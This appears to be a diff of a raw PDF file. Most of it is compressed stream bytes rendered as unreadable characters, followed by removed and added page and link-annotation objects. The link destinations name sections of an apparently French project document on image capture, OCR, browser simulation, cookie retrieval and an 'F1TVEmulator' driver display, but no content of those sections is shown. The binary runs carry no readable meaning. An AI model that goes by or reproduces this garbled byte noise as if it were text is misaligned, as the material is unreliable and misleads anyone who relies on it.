-7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5_AvM!)jW-TS\귙5őkOaǷ*j*}YT𧤢<~LJ=??]yo?yu/yWO`8}b ߋ7kxee 'C/ p2I 'C/ p2I 'C/ p2ɢG3h^Ћz&zq4C/f 8nG3h^Ћz&zq4C/f 8nG3h^Ћz&zq4C/f 8nG3h^Ћz&zq4C/f 8nG3h^Ћz&zq4C/f 8l8G3h^ 7ыzq4C/f p8G3h^ 7ыzq4C/f p8G3h^ 7ыzq4C/f p8G3h^ 7ыzq4C/f p8G3h^ 7ыzq4C/f ` 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/,zq4C/f 8nG3h^Ћz&zq4C/f 8nG3h^Ћz&zq4C/f 8nG3h^Ћz&zq4C/f 8nG3h^Ћz&zq4C/f 8nG3h^Ћzfыzq4C/f p8G3h^ 7ыzq4C/f p8G3h^ 7ыzq4C/f p8G3h^ 7ыzq4C/f p8G3h^ 7ыzq4C/f p8G3h^ 6 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/f腛 8G3h^^Ћzq4C/fE/f 8G3Mh^Ћzq4C/D/f 8G3Mh^Ћzq4C/D/f&,^A/9ԁw^|EzʋOŋU^CS<1#c?/}xm8hx_ὖ5=h; & & & %_0_0_0_0_(YIIIIBnnnnlpppp`/////,~&~&~&~&~f 7 7 7 7 6_____YMMMMnnnnlppppP/////,~&~&~&~&~f 7 7 7 7 6_____YMMMMnnnnlpppp`/////l~&~&~&~&~f 7 7 7 7 6_____YMMMMnnnnlpppp`/////,~&~&~&~&~f 7 7 7 5_____YMMMMnnnnlpppp`/////,~&~&~&~&~f 7 7 7 7 6_____YMMMMBnnnnlpppp`/////,~&~&~&~&~f 7 7 7 7 6_____YMMMMnnnnlppppP/////,~&~&~&~&~f 7 7 7 7 6_____YMMMMnnnnlpppp`/////l~&~&~&~&~f 7 7 7 7 6__m//6MMnj~`?9@oGO/^{1_|U1׷e3`<>}g^_㜆Z;S˾`0`0`0`(YIIIIC"L"L"L"L"J6pppp`E0D0D0D0D0,&&&&f 7 7 7 7 6`````YMMMM"n"n"n"n"lpppp`M0D0D0D0D0,&&&&f 7 7 7 7 6`````YMMMM"n"n"n"n"lpppp`E0D0D0D0D0,&&&&f 7 7 7 7 6`````YMMMM"n"n"n"n"lpppp`E0D0D0D0D0,&&&&f 7 7 7 7 6````MMMM"n"n"n"n"lpppp`E0D0D0D0D0,&&&&f 7 7 7 7 6`````YMMMM"n"n"n"n"j6pppp`E0D0D0D0D0,&&&&f 7 7 7 7 6`````YMMMM"n"n"n"n"lpppp`M0D0D0D0D0,&&&&f 7 7 7 7 6`````YMMMM"n"n"n"n"lpppp`E0D0D0D0D0,&&&&f 7 7 7 7 6`````YMMMM"n"n"n"n"lpP3+?xX"~`b6b~x>{׷/۟_+ULJ6_L U UkY-~U$U$U$Ud -& -& -& -& -%KU0IU0IU0IU0IU(٪MMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRjpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIU٪MMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRjpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMBs̴PkǏχ?U>xlUOTŋU~QO&k&dTo?|a./TE/Tkxe}vTTTT*****,U$U$U$U$Ud -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIU٪MMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRjpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIU٪MMMMRnRnRnRnRlpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -7 -7 -7 -6KUIUIUIUIUYMMMMRnRnRnRnRjpppp`TTTTT*ܤ*ܤ*ܤ*ܤ*,U&U&U&U&Uf -7 -5?E0BUs燘oSQUb|c"'},sW=/˞.{݄Gqzqm~LA}o=Scuk|~~?mU߯su~$/lk/ϯٞ?'ʧw=ƽ}hw{6?a'Nj/|;}b>AO_wϛ}eJ7mmy{{| -endstream endobj 115 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 114 0 R -/Resources 4 0 R -/Annots [ 116 0 R 117 0 R 118 0 R 119 0 R 120 0 R 121 0 R 122 0 R 123 0 R 124 0 R 125 0 R 126 0 R 127 0 R 128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 133 0 R 134 0 R 135 0 R 136 0 R 137 0 R 138 0 R 139 0 R 140 0 R 141 0 R 142 0 R 143 0 R 144 0 R 145 0 R 146 0 R 147 0 R 148 0 R 149 0 R 150 0 R 151 0 R 152 0 R 153 0 R 154 0 R 155 0 R 156 0 R 157 0 R 158 0 R 159 0 R 160 0 R 161 0 R 162 0 R 163 0 R 164 0 R 165 0 R 166 0 R 167 0 R 168 0 R 169 0 R 170 0 R 171 0 R 172 0 R 173 0 R 174 0 R 175 0 R 176 0 R 177 0 R 178 0 R 179 0 R 180 0 R 181 0 R 182 0 R 183 0 R 184 0 R 185 0 R 186 0 R 187 0 R 188 0 R 189 0 R 190 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 517.463622 555.889134 503.063622 ] +/BS << +/W 0 +>> +/Dest (.:les-briques-principales) >> endobj 116 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 771.023622 557.809134 752.913622 ] +/Rect [ 79.386457 502.313622 555.889134 481.643622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-1-mai-2023) +/Dest (.:recuperation-dimages) >> endobj 117 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 766.463622 77.821193 753.663622 ] +/Rect [ 544.436985 496.793622 555.889134 482.393622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-1-mai-2023) +/Dest (.:recuperation-dimages) >> endobj 118 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 766.463622 557.809134 753.663622 ] +/Rect [ 79.386457 481.643622 555.889134 460.973622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-1-mai-2023) +/Dest (.:ocr) >> endobj 119 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 752.913622 557.809134 734.803622 ] +/Rect [ 544.436985 476.123622 555.889134 461.723622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-2-mai-2023) +/Dest (.:ocr) >> endobj 120 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 748.353622 77.821193 735.553622 ] +/Rect [ 79.386457 460.973622 555.889134 440.303622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-2-mai-2023) +/Dest (.:traitement-et-affichage) >> endobj 121 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 748.353622 557.809134 735.553622 ] +/Rect [ 544.436985 455.453622 555.889134 441.053622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-2-mai-2023) +/Dest (.:traitement-et-affichage) >> endobj 122 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 734.803622 557.809134 716.693622 ] +/Rect [ 71.386457 440.303622 555.889134 419.633622 ] /BS << /W 0 >> -/Dest (jdb/:recrutement-payerne-mai-2023) +/Dest (.:resume-du-fonctionnement-general) >> endobj 123 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 730.243622 77.821193 717.443622 ] +/Rect [ 544.436985 434.783622 555.889134 420.383622 ] /BS << /W 0 >> -/Dest (jdb/:recrutement-payerne-mai-2023) +/Dest (.:resume-du-fonctionnement-general) >> endobj 124 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 730.243622 557.809134 717.443622 ] +/Rect [ 63.386457 419.633622 555.889134 398.963622 ] /BS << /W 0 >> -/Dest (jdb/:recrutement-payerne-mai-2023) +/Dest (.:recuperation-des-images) >> endobj 125 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 716.693622 557.809134 698.583622 ] +/Rect [ 63.386457 414.113622 93.647199 399.713622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-5-mai-2023) +/Dest (.:recuperation-des-images) >> endobj 126 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 712.133622 77.821193 699.333622 ] +/Rect [ 544.436985 414.113622 555.889134 399.713622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-5-mai-2023) +/Dest (.:recuperation-des-images) >> endobj 127 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 712.133622 557.809134 699.333622 ] +/Rect [ 71.386457 398.963622 555.889134 378.293622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-5-mai-2023) +/Dest (.:comment-faire) >> endobj 128 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 698.583622 557.809134 680.473622 ] +/Rect [ 544.436985 393.443622 555.889134 379.043622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-8-mai-2023) +/Dest (.:comment-faire) >> endobj 129 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 694.023622 77.821193 681.223622 ] +/Rect [ 71.386457 378.293622 555.889134 357.623622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-8-mai-2023) +/Dest (.:simuler-un-navigateur) >> endobj 130 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 694.023622 557.809134 681.223622 ] +/Rect [ 544.436985 372.773622 555.889134 358.373622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-8-mai-2023) +/Dest (.:simuler-un-navigateur) >> endobj 131 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 680.473622 557.809134 662.363622 ] +/Rect [ 71.386457 357.623622 555.889134 336.953622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-9-mai-2023) +/Dest (.:controler-le-navigateur) >> endobj 132 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 675.913622 77.821193 663.113622 ] +/Rect [ 544.436985 352.103622 555.889134 337.703622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-9-mai-2023) +/Dest (.:controler-le-navigateur) >> endobj 133 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 675.913622 557.809134 663.113622 ] +/Rect [ 71.386457 336.953622 555.889134 316.283622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-9-mai-2023) +/Dest (.:recuperer-les-cookies) >> endobj 134 0 obj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 662.363622 557.809134 644.253622 ] +/Rect [ 544.436985 331.433622 555.889134 317.033622 ] /BS << /W 0 >> -/Dest (INXWIZI/) +/Dest (.:recuperer-les-cookies) >> endobj 135 0 obj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 657.803622 59.641994 645.003622 ] +/Rect [ 71.386457 316.283622 555.889134 295.613622 ] /BS << /W 0 >> -/Dest (INXWIZI/) +/Dest (.:calibration) >> endobj 136 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 657.803622 557.809134 645.003622 ] +/Rect [ 544.436985 310.763622 555.889134 296.363622 ] /BS << /W 0 >> -/Dest (INXWIZI/) +/Dest (.:calibration) >> endobj 137 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 644.253622 557.809134 626.143622 ] +/Rect [ 79.386457 295.613622 555.889134 274.943622 ] /BS << /W 0 >> -/Dest (Code/ConfigurationTool/:configurationtoolcs) +/Dest (.:liste-des-pilotes) >> endobj 138 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 639.693622 72.731593 626.893622 ] +/Rect [ 544.436985 290.093622 555.889134 275.693622 ] /BS << /W 0 >> -/Dest (Code/ConfigurationTool/:configurationtoolcs) +/Dest (.:liste-des-pilotes) >> endobj 139 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 639.693622 557.809134 626.893622 ] +/Rect [ 79.386457 274.943622 555.889134 254.273622 ] /BS << /W 0 >> -/Dest (Code/ConfigurationTool/:configurationtoolcs) +/Dest (.:zone-principale) >> endobj 140 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 626.143622 557.809134 608.033622 ] +/Rect [ 544.436985 269.423622 555.889134 255.023622 ] /BS << /W 0 >> -/Dest (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) +/Dest (.:zone-principale) >> endobj 141 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 621.583622 72.731593 608.783622 ] +/Rect [ 79.386457 254.273622 555.889134 233.603622 ] /BS << /W 0 >> -/Dest (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) +/Dest (.:zones-pilotes) >> endobj 142 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 621.583622 557.809134 608.783622 ] +/Rect [ 544.436985 248.753622 555.889134 234.353622 ] /BS << /W 0 >> -/Dest (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) +/Dest (.:zones-pilotes) >> endobj 143 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 608.033622 557.809134 589.923622 ] +/Rect [ 79.386457 233.603622 555.889134 212.933622 ] /BS << /W 0 >> -/Dest (Code/DriverPositionWindow/:driverpositionwindowcs) +/Dest (.:windows-pilotes) >> endobj 144 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 603.473622 72.731593 590.673622 ] +/Rect [ 544.436985 228.083622 555.889134 213.683622 ] /BS << /W 0 >> -/Dest (Code/DriverPositionWindow/:driverpositionwindowcs) +/Dest (.:windows-pilotes) >> endobj 145 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 603.473622 557.809134 590.673622 ] +/Rect [ 79.386457 212.933622 555.889134 192.263622 ] /BS << /W 0 >> -/Dest (Code/DriverPositionWindow/:driverpositionwindowcs) +/Dest (.:stockage) >> endobj 146 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 589.923622 557.809134 571.813622 ] +/Rect [ 544.436985 207.413622 555.889134 193.013622 ] /BS << /W 0 >> -/Dest (Code/F1TVEmulator/:f1tvemulatorcs) +/Dest (.:stockage) >> endobj 147 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 585.363622 72.731593 572.563622 ] +/Rect [ 63.386457 192.263622 555.889134 171.593622 ] /BS << /W 0 >> -/Dest (Code/F1TVEmulator/:f1tvemulatorcs) +/Dest (.:ocr_1) >> endobj 148 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 585.363622 557.809134 572.563622 ] +/Rect [ 63.386457 186.743622 93.647199 172.343622 ] /BS << /W 0 >> -/Dest (Code/F1TVEmulator/:f1tvemulatorcs) +/Dest (.:ocr_1) >> endobj 149 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 571.813622 557.809134 553.703622 ] +/Rect [ 544.436985 186.743622 555.889134 172.343622 ] /BS << /W 0 >> -/Dest (Code/Program/:programcs) +/Dest (.:ocr_1) >> endobj 150 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 567.253622 72.731593 554.453622 ] +/Rect [ 71.386457 171.593622 555.889134 150.923622 ] /BS << /W 0 >> -/Dest (Code/Program/:programcs) +/Dest (.:fonctionnement-general_1) >> endobj 151 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 567.253622 557.809134 554.453622 ] +/Rect [ 544.436985 166.073622 555.889134 151.673622 ] /BS << /W 0 >> -/Dest (Code/Program/:programcs) +/Dest (.:fonctionnement-general_1) >> endobj 152 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 553.703622 557.809134 535.593622 ] +/Rect [ 79.386457 150.923622 555.889134 130.253622 ] /BS << /W 0 >> -/Dest (Code/Window/:windowcs) +/Dest (.:filtres-et-traitement) >> endobj 153 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 549.143622 72.731593 536.343622 ] +/Rect [ 544.436985 145.403622 555.889134 131.003622 ] /BS << /W 0 >> -/Dest (Code/Window/:windowcs) +/Dest (.:filtres-et-traitement) >> endobj 154 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 549.143622 557.809134 536.343622 ] +/Rect [ 63.386457 130.253622 555.889134 109.583622 ] /BS << /W 0 >> -/Dest (Code/Window/:windowcs) +/Dest (.:traitement-des-donnees) >> endobj 155 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 535.593622 557.809134 517.483622 ] +/Rect [ 63.386457 124.733622 93.647199 110.333622 ] /BS << /W 0 >> -/Dest (Code/DriverData/:driverdatacs) +/Dest (.:traitement-des-donnees) >> endobj 156 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 531.033622 72.731593 518.233622 ] +/Rect [ 544.436985 124.733622 555.889134 110.333622 ] /BS << /W 0 >> -/Dest (Code/DriverData/:driverdatacs) +/Dest (.:traitement-des-donnees) >> endobj 157 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 542.540335 531.033622 557.809134 518.233622 ] -/BS << -/W 0 ->> -/Dest (Code/DriverData/:driverdatacs) +/Filter /FlateDecode +/Length 55390 >> +stream +xͮ-ɑ7ϧq:z @4PB 4 bOHz@k'%fgw/ϵOE?ƥwo8S[_kϻ.y6}]/?ߟݾu{\J_ygן~Rԟ~tw|~o;޻AO몀BZwKHz9gTqWV׮p#Rת}Y{!F_ECAr̭V8檇Lc@h☯Z`8K_}Z`<2DK̪ŬI\[)Fϧ:^6iṷlxhLc1m*bnޅ|)QU(Ebf-_P{,-17}3=5ciLc +Pkӡ]0Ob^`Nżf1OZS6TYqS6~YvS6QӬRfT6頿)Oty9f-eH]jaJ<E5tPy*lSvZf|nǬt;f7vSՉy*|64YH+Iy*]#T(ƫsbF T.NSbʤ:[=)OuIyڭz<:7ijHyڭZQv@noS`:X<k`Z|<- X2uyj,i4oM:Xj<1O꘧KE?u;uRc: aF<K |uU;^TaNym$SɭSj"YtHJ1>'1{G,ct4\:hꔧC:8SGbNy:^tH!4so*HiLct \pW<ֵtjy*k5SV T:(9m1y:y:0Oc. t9aJ%y*Z`J\ T:XlA$ v̽aގYk<ݎ4혯y*1OUT:JRN`Մ/C>fgݭ'hxiI.Ԯo4<(_~M}>ןJow|>?s7 U/l2gH yZME7Ӹ +1ߔZ}NVS+qdLmh̰+ b֩\zP+BS43\]&f] fWw[j`ּ&E^Q9gYmJ+`}Ӽ"b;bw,lIc1w}Ec1w$8 Yޥ5bbڜiU=Ύ\uޓb;SY;TbOT3FXMi,ɏ'Qe3'cOOO3ۧ(ev髖94J1K}:h,$>-4`,TMfwþa,z#v%f۱oq`msb3͎sқ39`,>I1Kx`m}XHҏaW]-4vKi,*lz#- L+S DעڵzXH5NWAHW4Ao>Y:}O1K{Q)Ac!h *Wt>^Y^U eMjșnBjvXH{oU\TV頀AwLWt^>U[U +իU:J$u*쫟>Tfq7zJV TuzUu;\/WtT9TVQڤ.  GT6*Ij-^ttpώN(f &իJYjT6JNj11mtp9^U&fT6oJzIGի1PQ+իkߌB:8ݩ^mA}Wtpp+bzIǺ6իM:,^kh:SStpܳS'WU~]s!f;SIů끱C__zqǡ5Sv菊ǡBLi,ПWC__Tիǡ oq诎ǡ~~ Wes!r}.kex߮su|QI&7'}|If|>}/'}>CN '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL83ϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>cN '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL83ϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>cN '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL8SϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI3O>gI3ϙpL83ϙpL8s&9Ny9s&9N '}΄>e^N '}΄>gI2/'}΄>gI3ϙpҧI3ϙpL8s&)rL8s&9N '}ʼ9N '}΄>gI2/'}΄>gI3ϙpҧI3ϙpL8s&)rL8s&93'}΄>cN '}΄>gϙpҧI3ϙp|9Ny9s&9NoT_};SϙpL8sf>N '}ʼ7-^w89UiNot϶sf?㜷~/ 7~䶯bdq +P_o?/yQ>S1o\KoOv%Fygd#[=mգE?1yϿobzg{Jlzޞv Tq0IlOTEc>W Owzޞk<ԼCoOIqz{JS*pz{jRb/ޞZ<y1닒twy87W6qNoJNoցp)ۗoqc<\Y7=׍vyx;f oo]żT(fnovi1φ4ۇ8fi<=C4I.=CӴq4yL>is<1M[ 硏iԛ97Ct}m31o gxiζ0瘦<<4Z`31V8}LLz>wyc==Cӌ<1] m_,RE6 +x1o6CP54C,C|3N >3^cZwyѠgh\yh\ZZWqZ]$;nA{Z}<.U7 UpZoo6pZ?V稴<z3u ^3j:CuwoA KzA3Ku F:Ɂ:mfqnIp{X&=#6h)~91i1E_y-rMP~ +ϰ_a/>F(.(梟Fϰ_K"z+Yiv6z+<+DvEMv-iv98]MǮcW11y8mWP14*~qڮ z+pyhBeb=C$8mWh.j] gh'1 +y8-S +yJ]Ae&C4qڮyhzqڮ` += S + +UbJymexҭyJe=CxyʰRy8)4upl3+Un}k ~~}wZ?+bӟۏO;@w_h|w~=/9}&9ys&9 w{΄=e^ w{΄=gݞ3nO=gݞ3nϙpLSnϙpLs&9ys&9 w{΄=e^ w{΄=gݞ3nO=gݞ3nϙpLSnϙpLs&9ys&9 w{΄=c w{΄=gݞ3nO=gݞ3nϙpLSnϙpLs&9ys&9 w{΄=e^ w{΄=gݞ3nO=gݞ3nϙpLSnϙpLs&9ys&9 w{΄=e^ w{΄=gݞ3nO=gݞ3nϙpL3nϙpLs&9ys&9 w{΄=e^ w{΄=gݞ3nO=gݞ3nϙpLSnϙpLs&9ys&9 w{΄=e^ w{΄=gݞ3nO=gݞ3nϙpLSnϙpLs&9ys&9 w{Ƽ9 w{΄=gݞ2/w{΄=gݞ3nϙpݞ3nϙpLs&)rLs&9 w{ʼ9 w{΄=gݞ2/w{΄=gݞ3nϙpݞ3nϙpLs&)rLs&9 w{ʼ9 w{΄=gݞ2/w{΄=gݞ3nϙpgݞ3nϙpLs&)rLs&9 w{ʼ9 w{΄=gݞ2/w{΄=gݞ3nϙpݞ3nϙpLs&)rLs&9 w{ʼ9 w{΄=gݞ2/w{΄=gݞ3nϙpݞ3nϙpLs&)rLs&9 w{Ƽ9 w{΄=gݞ2/w{΄=gݞ3nϙpݞ3nϙpLs&)rLs&9 w{ʼ9 w{΄=gݞ2/w{΄=gݞ3nϙpݞ3nϙpLs&)rLs&9 w{ʼ9 w{΄=gݞ2/w{΄=gݞ3nϙpgݞ3nϙpLs&)rLs&9 w{ʼ9 w{΄=gݞ2/w{΄=gݞ3nϙpݞ1j==QvMnn|5wn??|Ë?_nx\$mY)t132CêBZwHcA0E}]8\Uf\T(}E̹ |/(3!k(J1\h8f sbZ`8RIu|9sH_|?E1K_ֲbt'Ou̽l꘵ 1mǬ'@c勊Q̾ŎP!|W8\3S= +%z1ZP1kyM1Ǭ)Fg8fX}Lb^`7)Zg*b:KyuV_$1y:s+1ׂyy9`jս%IGvS|0OZbJ0Oo/1 t;zan\.혯 T2}t,<:<J1O*^0OH18\oS렷(f렭u=Fbnf*S6:xuj7i^5x>:(աMyڪcИVnVƴ9fUssvso=3I۽i{.&lX;fx(ۢAZAŴ0OmjQMc*aJ/o'7s;f@41yT:rubJ5_'t MVx>GPnLS#1& c~{~T+ S#Vu]:X<V1\<*M1Ou^q̊uۅ:X?~20ONebsѲuyj,s`ZFcj,x`s혧AX;$QKEcjTlANy~`<^QB?~$#uGWG?Џ~9u#~ӏo#~ЏtD?G{(f#~ӏN?®G:a_G#ӏp_~~O?D?ү bv-%~u#sFnw~v?Eϟ noW??T?]sѲg5- im(_~[e ?ᖘ +3>S^;^w 5: ̙# 矖4}34BVqlՔ)zr|9ӬoZ93 +ujE1횥07@5T43\c>YyW{TߝbvU[{Xu5i,9:oXuyN(pz1sy]>+܇ $,[( Gٓb\B_tU˳;9Wwϗ3{XL7sN3{ߑ3{{{Rs{\*0x gT3FXXNi,Qk3cjsf.>b3^)=u ̼XHc{M 2 1ހjo І/hF:f=699933:̙u|ObWQ־i,vG̰ `%4A6qӱ_E)f頾λrf+E[ǻzXH5NoAH4AoAY:9T֠r'իkQ{znW}o@o>(Tހ=Z `+rfS{ W}oohztB:}S{ܳE sW}oz+ի7b~ W&ի7kB tS{9O p-ի7}TWz {%`,|oUJbR{FC"g;OHHGb`R{U0TUoγQmNW}oF ^9`CCA VW}oXHǸ;ի7@_U0~xsF1uK4A_G PR\bUTހqM(|%?({W}oSF:8wBc!T‹U0Q^+ի7`+U0K7,*^nozU`<ի7`zKtжI1KTހF! t"tpQB:8 ʍUb:vt72kjQ:]L.ب^U-Ajz(f1XqKUj+U l_(fW5 +bn_L~-_d@c!\WUbv=tPjqsF1]:Z|Fk1WtpՍZ|j#T]:%D:_Y.\^%5zK +VWtpZ3YڥR_U#Ub&jJ$WUQK1KzK[i,zU31WtЯzUe(f}RY̍^WS:vߧAj}~3<|jiCC:x/0׊׉&?kU(f++;@`,lzu^q}qR:|_}NcqCĜqu^pu4}q8ի+>qu{zu^UO/u^qTW_7+׷X^{⊆{ŵW WEW4i] WK)f#W#W&y{'Q:|W:.WǹOUSiQH8_TquT#7>)TGT^Oul_OUիj!G}ӷ#'k:}qu>U.իqu>U2,^WS Wӷ!UZWӿ_b9}%ڧ#Wqu{sݨ^Oj7븿jڧo.ի髤U}b4|VWmTՋ[ WӿUYq>ޠ9ӦPb|]5p>kݸj>U}Z}_H1p>O}soppM_=\Rz (WϽe7eso&`,ν7ϽMOfX{so@p{WO/mWO_6իǧXا?+\^=>y7WOA]s4u~_G\\} |ZӧvWy? vԿ>˷[|>~\G}<y9ygQq8y9z`G=0Qϙp8ygQq8y)r8ygQq8y9z`G=0Qϙp8ygQq8y9z`G=0Qϙp8ygQq8y9z`G=0QOQq8s&gQq8y9z`/z`G=0Q3q8y9z`/z`G=0Q3q8y)r~q8y< G=0G=0Qϙp8y< G=0QqL8ygQq8y9z`G=0Qϙp8ygQq8y9z`G=0Qϙpԧ߼ym6GQ?|nGtի8tq +ij*>K|>?# +}OKx{ZLoCv%Fvg^#[:mk'gΖv93y6ϹobzgJizކ〞F 6T=9ن 6S8s00xgmCoC{<6硷8 %ymkGYpzjp8Ypi twy87QvqNoINoՁp)Woqc<\Y6=׍vyx;f ooQLżS(fno ꧥ"gl8}}Icv^ئiK%xK5=yԒa;[ aur[yؽ^oAo<:.1k%Mp8UpsLPp8*"z>i }ECǴq81mL>isG9sc +s=Ch1ng~7>3q̸:C 6uyhhڦ.5]4mSnghyhk<<Cz.^MzGm<ץ_g/<&~9h1E_ibѯ5[k<\E\VkIDж2+n[ߺAжr7ݶ[ږږE3n[2%yxl 8&1m *qgh[ +7%4_NZ\3-A"ж +2z%^}b=pږ/6)c^OU}mY;S>^~wߝso;~x;s&)rL8s&9N zʼ9N z΄S=g©2/z΄S=g©3TϙpLz΄S=g©3Tϙp˩3TϙpL8s&)rL8s&9N zʼ9N z΄S=g©2/z΄S=g©3Tϙp˩3TϙpL8s&vL8s&9N zʼ9N z΄S=g©2/z΄S=g©3Tϙp˩3TϙpL8s&)é3TϙpL8s&)rL8s&9N zʼ9N 